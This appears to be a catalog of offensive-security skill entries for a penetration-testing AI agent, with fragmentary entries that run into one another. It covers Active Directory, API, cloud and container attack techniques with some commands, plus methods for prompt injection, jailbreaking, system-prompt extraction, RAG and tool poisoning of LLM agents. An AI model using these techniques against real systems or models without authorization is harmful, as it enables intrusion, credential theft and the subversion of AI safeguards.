# ADCS abuse (ESC1–ESC8)
## When it applies
The domain runs Active Directory Certificate Services and you have any authenticated foothold.
Misconfigured certificate templates or CA settings let a low-priv user obtain a certificate that
authenticates as a privileged account — a fast, reliable path to Domain Admin.
## Why it works
Certificates can be used for Kerberos (PKINIT) authentication. If a template lets an enrollee
specify the subject (SAN) and permits client-auth, a normal user can request a cert *as* Domain
Admin. Other ESCs abuse enrollment-agent rights, vulnerable CA ACLs, NTLM relay to the CA
(ESC8), or the CA cert's private key.
## Methodad-dacl-abuse

Abuse Active Directory object ACLs/DACLs for lateral movement and escalation — GenericAll, WriteDACL, GenericWrite, WriteOwner, AddMember, ForceChangePassword, and DCSync rights. Load with domain creds + BloodHound showing an ACL edge, on "GenericAll", "WriteDACL", "DCSync", "abuse this edge".

# AD ACL / DACL abuse
## When it applies
You have domain creds and BloodHound shows your principal (or one you control) has a dangerous
**ACL edge** over another object — a user, group, computer, GPO, or the domain. These edges chain
into a path to Domain Admin without any CVE.
## Why it works
AD access control is a web of object permissions. Over-permissive ACLs let you *modify* other
principals: reset a password, add yourself to a privileged group, take ownership then rewrite the
DACL, or grant yourself DCSync — each turning a small right into control.
## Method — abuse per edge (BloodHound names the edge; it also shows the command)
[Credential-related source omitted]ad-delegation-abuse
When your agent uses it
Abuse Kerberos delegation to impersonate users and take over hosts — unconstrained, constrained (S4U2Self/S4U2Proxy), and resource-based (RBCD), including the coercion → NTLM-relay-to-LDAP → RBCD chain. Load in an AD environment when BloodHound/enum shows delegation rights, a machine account you control, GenericWrite/GenericAll over a computer, or coercion is possible. Signals: msDS-AllowedToActOnBehalfOfOtherIdentity, TRUSTED_FOR_DELEGATION, msDS-AllowedToDelegateTo, PetitPotam.

# Kerberos delegation abuse
## When it applies
An AD engagement where enumeration (BloodHound, `nxc`, LDAP) shows a delegation primitive: a host
trusted for unconstrained delegation, an account with constrained delegation (`msDS-AllowedToDelegateTo`),
or — most commonly — write access over a computer object so you can set RBCD. Coercion + relay turns
"can authenticate a DC" into "control a DC". This is the modern lateral-movement/DA path.
## Why it works
Delegation lets a service act *on behalf of* a user. Kerberos implements it with S4U2Self (get a
ticket to yourself as any user) and S4U2Proxy (forward it to a target service). If you control an
account permitted to delegate — or can write `msDS-AllowedToActOnBehalfOfOtherIdentity` on a target
(RBCD) — you can mint a service ticket as *any* user, including Domain Admin, to that target.
ad-kerberoasting
When your agent uses it
Kerberoasting & AS-REP roasting — request/crack Kerberos tickets to recover service/user passwords offline. Load with any domain foothold or valid domain creds, on "kerberoast", "AS-REP", SPNs, service accounts, ports 88/389. Signals: domain creds in hand, SPNs set, accounts with pre-auth disabled.

# Kerberoasting & AS-REP roasting
## When it applies
You have valid domain credentials (kerberoasting) or just a username list (AS-REP). Both recover
plaintext passwords offline by cracking Kerberos-issued material — no lockout risk.
## Why it works
- **Kerberoasting**: any authenticated user can request a service ticket (TGS) for any account
with an SPN; part of it is encrypted with the service account's password hash. Crack it offline.
- **AS-REP roasting**: accounts with "do not require Kerberos preauth" hand out an AS-REP
encrypted with the user's key to *anyone* — no creds needed, just the username.
## Method
1. **Kerberoast** (need creds): `impacket-GetUserSPNs corp.local/user:pass -dc-ip DC -request`ad-pivot-arsenal
When your agent uses it
One line: Active Directory, pivoting/tunneling, and password-cracking arsenal for authorized engagements. Trigger signals: "Active Directory", "domain", "kerberos", "kerberoast", "AS-REP", "BloodHound", "DCSync", "AD/.local domain", holding domain creds or a foothold. Authorized, in-scope targets only.

# Active Directory, pivoting & cracking arsenal
Loads on domain-joined targets, or once you hold a foothold/creds and need to reach
Domain Admin. Authorized, in-scope engagements only. Add the DC
to `/etc/hosts` (`IP dc01.corp.local corp.local`) early — Kerberos needs the FQDN.
## Enumeration
- **netexec / nxc (smb)** — the swiss-army first pass; null session, shares, users, policy.
`nxc smb dc01.corp.local -u '' -p '' --shares --users --pass-pol`
`-u '' -p ''` = null/anonymous auth; `--pass-pol` reveals the lockout threshold you must
respect when spraying. Add `-M spider_plus` to loot readable shares, and `--rid-brute` to
enumerate domain users over SAMR when null LDAP is closed but SMB null is open.
- **netexec (ldap)** — pull AS-REP-roastable and SPN users without touching Kerberos yet.ai-agent-tool-abuse

# LLM agent / tool abuse (excessive agency)
## When it applies
The target isn't just a chatbot — it can *act*: call functions, browse, run code, query
databases, send email, hit internal APIs, or chain MCP tools. Impact jumps from "bad text" to
real actions taken with the agent's privileges.
## Why it works
The model decides which tool to call and with what arguments, driven by text it can't fully trust
(user input or fetched content). If tools are over-permissioned or arguments aren't validated,
attacker text steers real actions — the classic "confused deputy".
## Method
1. **Enumerate the tools**: get the agent to reveal its tools/functions and schemas (often itai-insecure-output-handling

Load when LLM output is rendered as HTML/markdown, executed, or fed to another system.

# Insecure output handling (LLM → sink)
## When it applies
The app treats LLM output as trusted and passes it into a dangerous sink — rendered as HTML,
executed as code/SQL/shell, or forwarded to another API. The model becomes an injection vector,
especially when its input is attacker-influenced (→ chain with `ai-prompt-injection`).
## Why it works
Developers trust their own model's output, but it's just text — and an attacker can steer it via
prompt injection. If that text lands in `innerHTML`, `eval`, a SQL string, a shell command, or a
system call without sanitization, you get XSS/RCE/SQLi *through* the LLM.
## Method
1. **Find the sink**: where does model output go? HTML render (`innerHTML`, markdown→HTML,ai-jailbreak
When your agent uses it
Bypass an LLM's safety/guardrails to make it produce restricted output or ignore its policy. Load when testing an AI product's content controls, "jailbreak", "guardrail bypass", refusal testing, or safety evals. Signals: a chatbot/assistant with a usage policy, refusals to test, content filters.

# LLM jailbreaking / guardrail bypass
## When it applies
The target enforces content/safety policy on an LLM and you're assessing whether it holds
(product safety testing, or a bounty where policy bypass is in scope). Distinct from
`ai-prompt-injection` (which is about overriding *instructions/trust boundaries*, often for
data/tool impact); jailbreak targets the *safety layer*.
## Why it works
Guardrails are probabilistic and layered onto a model that will comply given the right framing.
Roleplay, obfuscation, context-flooding, and instruction-hierarchy confusion move the request
into a region where the safety training doesn't fire.
## Methodai-llm-dos

Unbounded-consumption / denial-of-wallet attacks on LLM apps — force runaway tokens, cost, or latency. Load when testing an LLM product's limits/billing, on "LLM DoS", cost amplification, or resource exhaustion. Signals: user-controlled prompts/max_tokens, agent loops, no rate/'cost caps'.

# LLM unbounded consumption (denial-of-wallet)
## When it applies
An LLM feature lets users drive expensive computation with weak limits. Unlike classic DoS, the
damage is often financial (the provider bills per token) — "denial of wallet" — plus latency/availability.
## Why it works
Inference cost scales with tokens and calls. If the app lets users control input size, output
length (`max_tokens`), recursion (agent loops, tool chains), or call volume without hard caps, an
attacker amplifies cost/latency far beyond normal use.
## Method
1. **Input amplification**: send very long inputs, or inputs that induce very long outputs
("repeat X 10000 times", "write an exhaustive…"); push `max_tokens` if client-controlled.ai-mcp-security
When your agent uses it

# MCP / agent tool-integration security
## When it applies
The system connects an LLM/agent to tools via **MCP** (Model Context Protocol) servers or similar
function/connector integrations. These are the agent's hands — and a fast-moving, under-hardened surface.
## Why it works
The agent reads tool **names, descriptions, and results as trusted context** — so a malicious tool
(or a compromised legitimate one) can inject instructions ("tool poisoning") that hijack the agent.
Tools often run with broad scopes and weak auth, and third-party MCP servers are an unvetted
supply chain. The confused-deputy problem (→ `ai-agent-tool-abuse`) applies at the protocol level.
## Method
1. **Enumerate the tools/servers**: read `mcp.json`/config; list connected servers, their tools,ai-model-extraction
When your agent uses it
Extract or steal an ML/LLM model's parameters, training data, or system prompt via query access — model stealing, membership inference, training-data extraction.

# Model extraction & data inference
## When it applies
You have query access to an ML/LLM endpoint and want to show it leaks the model itself, its
training data, or confidential context — IP theft or privacy impact, not just a bad answer.
## Why it works
Query access is more powerful than it looks. Outputs (labels, probabilities, embeddings,
generations) carry information about the model and its data. Enough targeted queries reconstruct a
functional copy, reveal whether a record was in training, or regurgitate memorized secrets.
## Method
1. **Model stealing**: query systematically (esp. if confidence scores/logits are returned) to
train a surrogate that mimics the target — proves the model can be cloned via the API.ai-prompt-injection
When your agent uses it
Test LLM-backed apps for prompt injection (direct + indirect) and its consequences: data exfil, tool/function abuse, guardrail bypass. Load when the target is a chatbot/assistant/ agent, summarizes untrusted content, has tools/functions, or does RAG.

# LLM prompt injection
## When it applies
The app sends model input that mixes trusted instructions (system prompt) with untrusted data
(user text, a fetched web page, a file, RAG chunks). Impact scales with what the model can
*do*: answer only < read private context < call tools/APIs < take actions.
## Why it works
LLMs don't separate "instructions" from "data" — it's all tokens. Attacker text in the data
channel can override the system prompt. Indirect injection hides instructions in content the
model will later read (a page it summarizes, a document, an email), so the victim triggers it.
## Method
1. **Direct injection**: try to override instructions — "Ignore previous instructions andai-rag-poisoning

Poison a RAG/knowledge-base pipeline so retrieved content hijacks the model (indirect prompt injection at scale) or exfiltrates data.

# RAG / knowledge-base poisoning
## When it applies
The app retrieves documents (from a vector store / KB / crawl / tickets / emails) and feeds them
to an LLM, and an attacker can get content into that corpus. This is indirect prompt injection
that persists and affects other users.
## Why it works
Retrieved chunks are placed into the model's context as trusted data, but the model can't
separate data from instructions. Malicious instructions embedded in a document execute when that
chunk is retrieved for a victim's query — and embedding/retrieval quirks let you make your
poisoned chunk get retrieved.
## Methodai-sensitive-data-disclosure
When your agent uses it
Make an LLM app disclose sensitive data it should never reveal: training-data memorization, secrets/PII in RAG context, cross-tenant leakage, conversation logs. Load when the target LLM has RAG/document access, is multi-tenant (per-user/per-org assistants), was fine-tuned on private data, or logs conversations. Signals: "ask your documents", per-org chatbots, upload a file and query it, admin/debug endpoints, conversation history in analytics.

# LLM sensitive information disclosure
## When it applies
The LLM app touches data beyond the user's own input: a RAG corpus of internal documents,
fine-tuning on private data, per-tenant knowledge bases, tool access to databases/files, or
logged conversation history. The core question: *can the model be coaxed into emitting data
that belongs to someone else — another tenant, the operator, or the training set?*
## Why it works
The model has no access control — everything in its context window is equally "its" knowledge,
so any data the pipeline injects (retrieved chunks, system prompt, tool results) is one clever
question away from the user. Memorization adds a second channel: models regurgitate training
data verbatim under the right probes. Authorization failures compound it — if the retrieval or
tool layer doesn't filter by tenant, the model happily answers across tenant boundaries.ai-supply-chain
When your agent uses it
Attack the ML/LLM supply chain — poisoned models, datasets, plugins, and unsafe model deserialization. Load when an app loads third-party models/weights (HuggingFace, .pt/.pkl/.h5), installs ML deps, uses plugins/extensions, or fine-tunes on external data.

# ML/LLM supply-chain attacks
## When it applies
The target consumes third-party ML artifacts: downloaded model weights, datasets, tokenizers,
plugins/extensions, or fine-tuning data. Each is code or data that runs with the app's trust.
## Why it works
Model files are frequently **pickle-based** (`torch.load`, `.pkl`, joblib) — loading them executes
arbitrary code (`__reduce__`), so a malicious model on a hub is RCE on whoever loads it. Datasets
and RAG corpora poison behavior; plugins/extensions run with the assistant's privileges; typosquatted
ML packages inject code at install.

# LLM system prompt leakage
## When it applies
The app prepends hidden instructions (system/developer prompt) you cannot see, and you have a
chat interface, API, or agent you can query repeatedly. Worth doing on nearly every LLM target:
the leaked prompt tells you which guardrails exist, which tools/functions the model can call,
what internal URLs or tenant IDs it knows, and whether developers pasted secrets into it.
## Why it works
The system prompt is just tokens in the same context as your input — the model can read it, and
nothing technically stops it from repeating it; only behavioral guardrails (which are
probabilistic) stand in the way. Framings that recast the disclosure as a benign task
(translation, summarization, debugging) route around refusal training. Agent error paths are
even softer: frameworks often echo the full prompt or tool schema into exceptions and logs.api-auth-attacks
When your agent uses it
Break API authentication: token handling, key leakage, weak session/JWT, and no-auth endpoints. Load on REST/GraphQL APIs using API keys, Bearer tokens, HMAC signing, or basic auth. Signals: `Authorization` headers, api_key params, tokens in URLs, /v1 vs /v2 auth drift.

# API authentication attacks
## When it applies
An API authenticates requests via tokens/keys/sessions. Auth is the gate; weaknesses here open
everything behind it.
## Why it works
APIs sprawl (many endpoints, versions, clients) so authentication is applied inconsistently:
some routes forgot it, tokens are long-lived or weakly signed, keys leak client-side, and
error/timing differences enable enumeration and brute force.
## Method
1. **No-auth endpoints**: replay requests with the token removed; probe `/v1` vs `/v2`,
`/internal`, `/debug`, and undocumented routes (Swagger/OpenAPI) for missing auth.api-bola
When your agent uses it
Broken Object/Function Level Authorization in REST/JSON APIs (the #1 API risk). Load on any REST API with object ids in paths/bodies (/api/v1/users/123, /orders/{id}), Bearer auth, mobile-app backends, or admin vs user function separation.

# Broken Object/Function Level Authorization (BOLA/BFLA)
## When it applies
An API exposes objects (BOLA) or privileged functions (BFLA) and enforces authorization
weakly. The API version of IDOR — but APIs multiply the surface (many endpoints, verbs,
versions, and a mobile client that trusts the server less than the web UI does).
## Why it works
APIs are stateless and object-centric; each endpoint must independently check "can this token
act on this object/function?". Teams centralize authentication but scatter (or forget)
authorization, and hide admin functions in the client instead of the server.
## Method
1. **BOLA**: with two tokens, request another user's object id on every endpoint & verb; alsoapi-fuzzing

# API discovery & fuzzing
## When it applies
You need the API's real surface before attacking it: hidden endpoints, accepted methods, extra
params, and old versions. Complete inventory is where BOLA/mass-assignment/auth bugs surface.
## Why it works
APIs expose far more than the client uses; specs, JS, and mobile apps reveal routes, and
version drift leaves un-patched endpoints. Enumerating the surface turns guesswork into targeted testing.
## Method
1. **Harvest from specs/clients**: OpenAPI/Swagger (`swagger.json`, `/api-docs`), Postman
collections, GraphQL introspection, and endpoints in JS bundles / mobile apps.
2. **Route brute**: `kiterunner` (API-aware wordlists incl. methods) or `ffuf` against `/api/FUZZ`,api-graphql
When your agent uses it
Attack GraphQL APIs. Load on /graphql, /graphiql, /v1/graphql, a POST with {"query":"..."}, Apollo/Hasura/graphene stacks, or "query/mutation" language. Signals: introspection enabled, batched queries, deeply nested fields, __schema, aliases.

# GraphQL abuse
## When it applies
The target exposes a GraphQL endpoint. GraphQL collapses many objects behind one URL, so
authorization gaps and info leaks are common and easy to miss with URL-based testing.
## Why it works
One endpoint, a self-describing schema, and per-field resolvers mean access control must be
enforced at every field/resolver — it frequently isn't. Introspection hands you the entire
attack surface; batching/aliases turn one request into thousands.
## Method
1. **Fingerprint & map**: `graphw00f` for the engine; if introspection is on, dump the schema
(`{__schema{types{name fields{name}}}}`) with `inql`/`clairvoyance`. If off, brute fieldapi-grpc

# gRPC / Protobuf API attacks
## When it applies
The target exposes gRPC (or grpc-web). Binary framing over HTTP/2 makes it feel opaque, but the
same authz/injection bugs apply — and server reflection often hands you the whole API.
## Why it works
gRPC methods are RPCs with typed messages; security still lives per-method. Reflection (if on)
exposes every service/method, and teams frequently skip auth on internal-looking RPCs or trust
the client-generated stubs to enforce access.
## Method
1. **Enumerate via reflection**: `grpcurl -plaintext host:50051 list` then `list <service>` and
`describe <method>`; `grpcui` for an interactive UI. No reflection? Recover `.proto` from theapi-mass-assignment
When your agent uses it
Mass assignment / auto-binding privilege escalation. Load when an API binds JSON directly to a model (Rails, Spring, Django REST, Node/Mongoose), on signup/profile-update/create endpoints, or when responses expose fields you didn't send (role, isAdmin, balance, verified).

# Mass assignment (BOPLA)
## When it applies
An endpoint deserializes client JSON straight into a data object without an allowlist of
writable fields. You add sensitive properties the developer never meant to be client-writable.
## Why it works
Frameworks that auto-bind request bodies to models will set *any* matching attribute unless
explicitly restricted. If `role`, `isAdmin`, `account_balance`, `email_verified`, or
`user_id` are bindable, you set them by just including them in the body.
## Method
1. **Learn the object shape**: read a GET response for the object — every returned field is a
candidate writable property. Also mine JS, mobile apps, and API docs for hidden fields.api-mongo-agg-facet-bypass

# MongoDB aggregation injection — $facet allowlist bypass → cross-collection read
## When it applies
- An API runs a user-controlled **aggregation pipeline** on a fixed collection
(`db.collection('x').aggregate(userPipeline)`), usually exposed as a `pipeline`
query/body parameter for "advanced" search.
- The server defends with a **stage allowlist** — only screens the *top-level* stage
names (`$match/$project/$sort/$limit/$facet` allowed; `$lookup/$unionWith/$group/…`
rejected with something like `"invalid or disallowed pipeline stage"`).
- Tell-tale that a `pipeline` param even exists: sending the normal search term as a
Mongo **operator object** (`?q[$ne]=x`) returns a hint such as
`"Operator-form queries not accepted on 'q'. Use the 'pipeline' parameter…"`.

# API testing methodology (work top to bottom)
Confirm scope first (`tradecraft-scope-roe`). Each phase links to the skill that goes deep — load it,
work its `cheatsheet.md` where present, and don't mark a phase `failed` until you've covered it
(house rule: fuzz every input/context/encoding, blind/OOB). This is your coverage map.
## 1 · Discover & map the surface
- [ ] Find the API: `/api`, subdomains, JS files (`recon-js-analysis`), mobile/SPA traffic (`recon-content-discovery`)
- [ ] Grab the spec: `swagger.json` / `openapi.json` / GraphQL introspection / `.proto` — enumerate every endpoint, method, param
- [ ] Note auth model (Bearer/JWT/API key/cookie/mTLS), versions (`/v1`,`/v2`), and content types
- [ ] Map roles: create **two accounts** (and an unauth client) — you need them for access-control tests
## 2 · Authentication
- [ ] Token flaws — JWT alg/kid/key confusion (`web-auth-jwt`), API-key leakage/predictabilityapi-versioning
When your agent uses it
Find and attack old/shadow API versions that missed a fix — improper inventory management. Load when the API is versioned (/v1, /v2, /api/2021-01), on "old API", or after mapping the surface. Signals: version in path/header/subdomain, deprecated docs, mobile app using an older version.

an older or undocumented one. Old versions rarely get the same auth, validation, or rate-limit hardening.
## Why it works
Teams patch the latest version and leave `/v1` (and `/beta`, `/internal`, dated versions) running
for backward compatibility. Those endpoints often skip a fix, lack a new authz check, or expose
fields later removed — same data, weaker guard.
## Method
1. **Enumerate versions**: swap the version in path (`/v1`↔`/v2`↔`/v3`), header
(`Accept: application/vnd.api+json;version=1`, `X-API-Version`), or subdomainautomation-browser

# Browser automation (Playwright / agent-browser)
## When it applies
The in-scope target (`scope.txt`, `tradecraft-scope-roe`) needs a *real browser*, not raw HTTP:
multi-step or JS-heavy login flows, pages that render client-side, payloads that must go through
the UI (XSS into a live DOM, CSRF flows), evidence screenshots, or scraping behind a session. For
pure request replay use Burp/curl instead; honor bug-bounty rate limits in `roe.md` — automation
multiplies request volume.
## Why it works
A scripted browser executes the app's JavaScript, holds cookies/session like a real user, and sees
the post-render DOM — so guards that defeat raw HTTP (JS challenges, dynamic forms) just work. The
`agent-browser` CLI exposes the accessibility tree as stable `@eN` element refs, which survive
layout changes better than CSS selectors; the Playwright Node API adds network interception,automation-nuclei-templates
When your agent uses it
Write custom nuclei templates to codify a finding into a repeatable, mass-scannable check. Load on "write a nuclei template", turning a manual bug into automation, checking a CVE across many hosts, or regression-scanning. Signals: a reproducible request→match, YAML templates, nuclei.

# Custom nuclei templates
## When it applies
You confirmed a bug (or a CVE pattern) and want to (a) find every other affected host and
(b) keep a regression check. A nuclei template turns "one request + one match condition" into
a scalable, shareable detector.
## Why it works
nuclei runs declarative YAML: send request(s), assert matchers on the response. If your finding
is expressible as request→observable signal, it's a template — and then it scans thousands of
hosts consistently, no manual repetition.
## Method
1. **Capture the minimal repro**: the exact request and the unambiguous signal that proves theautomation-recon-pipeline

# Recon automation pipeline
## When it applies
You track one or more wildcard programs and want discovery to run repeatably (and on a
schedule), surfacing only *new* assets/findings instead of re-reviewing everything.
## Why it works
Recon is a directed flow: roots → subdomains → resolve → live → ports → nuclei. Wiring the
ProjectDiscovery tools together (each reads/writes lines) makes it composable, and diffing
against last run (`anew`) turns it into continuous monitoring that alerts on change.

# Azure / Entra ID attacks
## When it applies
Target on Azure and you have some access — SSRF into a VM/App Service with a **Managed Identity**,
a leaked service-principal secret/cert, or a foothold. Goal: steal tokens, abuse Entra roles, reach resources.
## Why it works
Azure resources authenticate via **Managed Identities** and **service principals**; the IMDS hands
out OAuth tokens for them. Entra (Azure AD) roles and app permissions are widely over-assigned, and
several (adding credentials to a service principal, role assignment, Owner on a subscription) escalate to control.
## Method
1. **Managed Identity → token** (via SSRF, or on the host): `GET http://169.254.169.254/metadata/identity/

# Container escape → host
## When it applies
You have code execution inside a container and want the underlying host (and from there, other
containers / the cluster / cloud creds).
## Why it works
Containers are isolation by configuration, not a hard boundary. Privileged mode, extra
capabilities, mounted host resources, or an exposed Docker socket give processes inside the
container direct control over the host kernel/daemon.
## Method
1. **Confirm & enumerate**: `/.dockerenv`, `/proc/1/cgroup`; run `amicontained`/`deepce` to list
capabilities, seccomp, and mounts.cloud-docker-api-abuse
When your agent uses it
Turn an exposed container daemon or an over-privileged container into host compromise — a Docker API on 2375/2376, a mounted docker.sock, or a privileged/`-v /:/host` container. Load when you find an open Docker/containerd socket, port 2375/2376, a container you can run images in, or you landed inside a container and want the host.

# Docker / container daemon abuse
## When it applies
You can reach a container control plane you shouldn't: an unauthenticated Docker API on `2375/tcp`
(or `2376` without client-cert auth), a mounted `/var/run/docker.sock` inside a container you
control, membership in the `docker` group, or a privileged/host-mounted container. Any of these is
effectively root on the host. Complements `cloud-container-escape` (which focuses on kernel/runtime
breakouts); this one is about the daemon/socket as the vector.
## Why it works
The Docker daemon runs as root and will build/run any container with any mount you ask for. Anyone
who can talk to its API or socket can start a container that bind-mounts the host filesystem
(`-v /:/host`) or runs `--privileged` — then read/write host files, add a root user, or chroot in.
There's no privilege boundary between "can use the daemon" and "root on the host".cloud-docker-registry

# Exposed container registry
## When it applies
A Docker/OCI registry is reachable — a self-hosted registry (`:5000`, `/v2/`), or a cloud one
(ECR/GCR/ACR/Harbor) with weak auth. Images are goldmines: source, configs, and baked-in secrets.
## Why it works
Registries are often deployed without auth ("internal only") or with over-broad pull access. Image
layers preserve everything added at build time — `.env` files, cloud keys, private source,
tokens — even if a later layer deletes them, earlier layers keep them.
## Method
1. **Detect & enumerate**: `curl -s https://registry:5000/v2/_catalog` (repo list) and
`.../v2/<repo>/tags/list`. `registry:2` banner / an unauth `/v2/` = exposed.cloud-gcp

# GCP attacks
## When it applies
The target is on GCP and you have some access — an SSRF into a GCE/GKE instance, a leaked service
account (SA) key, or a foothold in a workload. Goal: steal credentials, escalate IAM, reach data.
## Why it works
GCP identity centers on **service accounts** and IAM bindings that are frequently over-granted. The
metadata server hands SA tokens to anything on the instance, and a small set of permissions
(`actAs`, `setIamPolicy`, deploy roles) form known escalation paths to owner.
## Method
1. **Metadata → SA token** (via SSRF, or on the host): `GET metadata.google.internal/computeMetadata/v1/
instance/service-accounts/default/token` with header `Metadata-Flavor: Google` (→ `cloud-imds-ssrf`).cloud-iam-privesc

# Cloud IAM privilege escalation
## When it applies
You have some cloud identity (leaked keys, an SSRF-obtained role — `cloud-imds-ssrf`, a
compromised service account) and want to escalate to admin or reach more resources.
## Why it works
IAM is complex and permissions are over-granted. A handful of seemingly-minor permissions form
known escalation paths — creating a policy version, attaching a policy, passing a role, updating a
function's code/role — that promote a low-priv identity to admin.
## Method
1. **Identify & enumerate**: `aws sts get-caller-identity`; enumerate your effective permissions
(`enumerate-iam`, `pacu`, or read attached policies). GCP: `gcloud ... get-iam-policy`; Azure: `az role assignment list`.cloud-imds-ssrf

# SSRF → cloud metadata → IAM credential theft
## When it applies
You have SSRF and the app runs on a cloud VM/container with an attached role. The metadata
endpoint hands out temporary credentials to anything that can reach it from the instance.
## Why it works
IMDS lives at a link-local IP (`169.254.169.254`) and trusts *network position*, not identity.
SSRF gives you that position, so the app fetches the instance's role credentials for you —
then you use them against the cloud API with the app's permissions.
## Method
1. **AWS IMDSv1** (no token): SSRF to

## When it applies

anonymous API access, kubelet read/exec on 10250, unauth etcd (all secrets), and mounted
[Credential-related source omitted]

# Cloud object-storage misconfiguration
## When it applies
The app stores files in S3/GCS/Azure Blob and the bucket's ACL/policy is too open — public
listing, public read of private objects, or (worst) unauthenticated write.
## Why it works
Object-storage ACLs are easy to get wrong: "public" gets applied at the bucket level, or an
IAM policy grants `s3:ListBucket`/`GetObject`/`PutObject` to `*`. Predictable names
(`companyname-backups`, `-assets`, `-dev`) make discovery trivial.

# CI/CD pipeline security review
## When it applies
You can read a repo's CI config (GitHub Actions, GitLab CI, Jenkinsfile, CircleCI). Pipelines run
with secrets and often on attacker-influenced input (PRs), making them a high-value, under-reviewed target.
## Why it works
CI runs code with privileged tokens/secrets. Misconfigurations let a fork PR run in a trusted
context, inject commands via untrusted inputs, or exfiltrate secrets — a supply-chain foothold. On
public repos this can be exploitable by anyone who opens a PR.
## Method
1. **Dangerous triggers**: `pull_request_target` / `workflow_run` that check out and run **PR code**
with secrets in scope → fork PRs can steal secrets or run arbitrary code (the classic GitHub Actions bug).code-review-cpp

# C / C++ source review
## When it applies
Reviewing native C/C++ (a service, a parser, a library). The bugs are overwhelmingly memory safety —
the highest-impact, most exploitable class — plus the handful of unsafe APIs that cause them.
## Why it works
C/C++ has no bounds checking: a length mistake, a lifetime mistake, or attacker-controlled format
string becomes a memory-corruption primitive. Most of these trace to a small, greppable set of APIs
and patterns, and sanitizers/fuzzing confirm the ones static reading only suspects.
## Sinks & patterns (grep, then reason about lengths and lifetimes)

# Go source review
## When it applies
Reviewing Go source (an API, a CLI, a microservice). Go is memory-safe, so the bugs are logic and
injection: command exec, the wrong template package, string-built SQL, and path/SSRF handling.
## Why it works
Go's stdlib gives a safe and an unsafe option side by side (`html/template` vs `text/template`;
parameterised `db.Query(?, x)` vs `fmt.Sprintf` into a query). Reviews find code that reached for the
unsafe one, or that shells out with `sh -c`.
## Sinks & patterns (grep, then trace to user input)

Reviewing the code that provisions cloud/infra. IaC misconfigurations become real, exploitable
exposure the moment they apply — a single line can make a bucket public or an SG world-open — so
this pairs directly with the offensive `cloud-*` skills.
## Why it works
IaC is declarative and repeatable: the same insecure default gets deployed everywhere it's
referenced. Scanning the definitions catches the exposure before it exists, and the patterns

## When it applies
Reviewing Java source, most often a Spring/Spring Boot service. Java's biggest hitters are
deserialization, XXE-by-default, and expression-language injection — all high impact and all
grep-able.
## Why it works
Several Java APIs are unsafe by default (XML parsers resolve external entities; `ObjectInputStream`
instantiates arbitrary classes) and frameworks expose powerful expression languages (SpEL/OGNL) that
turn a string into code. Tracing the source to a request parameter or message body confirms reach.
## Sinks & patterns (grep, then trace to user input)
- **Deserialization**: `ObjectInputStream.readObject`, Jackson `enableDefaultTyping`/polymorphiccode-review-methodology
When your agent uses it
Systematic manual source-code security review — how to find bugs by reading code. Load on "review this code/repo", a source-available target, whitebox testing, or auditing a PR/app for vulnerabilities. Signals: a codebase in scope, "SAST", "secure code review", a language repo.

# Source-code security review — methodology
## When it applies
You have (some of) the source. Whitebox review finds classes that blackbox misses — it follows
data from where it enters to where it's dangerous, across the whole codebase at once.
## Why it works
Vulnerabilities are source → sink flows with missing sanitization in between. Reading code lets
you see the sink (dangerous function), trace back to a user-controlled source, and confirm
nothing safe happens on the path — far faster and more complete than guessing from outside.
## Method
1. **Map the app**: entry points (routes/controllers/handlers), auth/authz middleware, the ORM/
DB layer, config, and where user input enters. Note the framework — its defaults decide a lot.code-review-nodejs
When your agent uses it
Security review of Node.js / JavaScript code — dangerous sinks and Express/framework pitfalls. Load when reviewing a Node/JS codebase/PR, on package.json + Express/Next/Nest, or "review this Node app". Signals: child_process, eval, Function, prototype pollution, JWT, Mongoose/Sequelize.

# Node.js / JavaScript security code review
## When it applies
Reading Node/JS source (Express, Next.js, NestJS, a package). Language companion to
`code-review-methodology` — the exact sinks and framework gotchas to grep and trace.
## Sinks & patterns (grep, then trace to user input)
- **Command exec**: `child_process.exec`/`execSync` with user input (use `execFile`/`spawn` w/ arg array);
template strings in commands.
- **Code eval**: `eval`, `new Function`, `vm.runIn…`, `setTimeout("string")` — RCE.
- **Prototype pollution**: recursive merge/`Object.assign`/`lodash.merge`/`set`, `JSON.parse` into
object merges, query parsers — `__proto__`/`constructor` keys (→ `web-prototype-pollution`).
- **SQL/NoSQL**: string-built SQL; Mongo queries taking raw `req.body`/`req.query` (operator injection
`{$gt:''}`); Sequelize `.query()`/`literal`.code-review-php

# PHP source review
## When it applies
Reviewing PHP source (a repo, a PR, or a leaked webroot). PHP's defaults and dynamic features make
several classes easy to introduce, so a grep-then-trace pass finds most of them fast.
## Why it works
Many PHP sinks execute or include whatever string they're given, and loose typing turns comparison
and casting into logic bugs. Tracing each sink back to a request source (`$_GET/$_POST/$_REQUEST/
$_COOKIE/$_SERVER`, `php://input`) tells you which are actually reachable.
## Sinks & patterns (grep, then trace to user input)
- **Code exec**: `eval`, `assert`, `preg_replace` with `/e`, `create_function`, `call_user_func(_array)`.
- **Command exec**: `system`, `exec`, `shell_exec`, `passthru`, `proc_open`, `popen`, backticks.code-review-python

# Python security code review
## When it applies
You're reading Python source (a repo, a PR, a service). This is the language-specific companion to
`code-review-methodology` — the exact sinks and framework gotchas to grep and trace.
## Why it works
Most severe Python bugs come from a known set of sinks plus framework misuse. Grep the sinks, trace
each argument to a user source, and check the framework's safe-vs-unsafe API was used.
## Sinks & patterns (grep, then trace to user input)
- **Command exec**: `os.system`, `subprocess.*(..., shell=True)`, `os.popen` — shell=True + user input = injection.
- **Code eval**: `eval`, `exec`, `pickle.loads`, `yaml.load` (without `SafeLoader`), `marshal` — deserialization/eval RCE.
- **SQL**: raw/f-string queries, `.raw()`, `.extra()`, `cursor.execute("... %s" % x)` — use params, not formatting.code-review-ruby

# Ruby / Rails source review
## When it applies
Reviewing Ruby source, usually Rails. Rails is safe by default in many places, so the bugs cluster
in dynamic dispatch, mass assignment gaps, raw SQL, and unsafe deserialization/rendering.
## Why it works
Ruby's metaprogramming (`send`, `constantize`, `eval`) turns strings into method/class/code
references, and Rails helpers have unsafe escape hatches (`.html_safe`, `where("...#{x}...")`,
`render inline:`). Tracing params to these is the whole game — and Brakeman automates the first pass.
## Sinks & patterns (grep, then trace to user input)
- **Code exec**: `eval`, `instance_eval`, `class_eval`, backticks/`system`/`%x`/`exec`/`open("|…")`.
- **Dynamic dispatch**: `send`/`public_send`/`__send__` with a param method name; `constantize`/code-review-rust
When your agent uses it
Security review of Rust code — where a memory-safe language still has real bugs: `unsafe`, FFI, panics, and the usual injection/logic sinks.

# Rust source review
## When it applies
Reviewing Rust (a service, a CLI, a library). Safe Rust removes most memory bugs, so the review
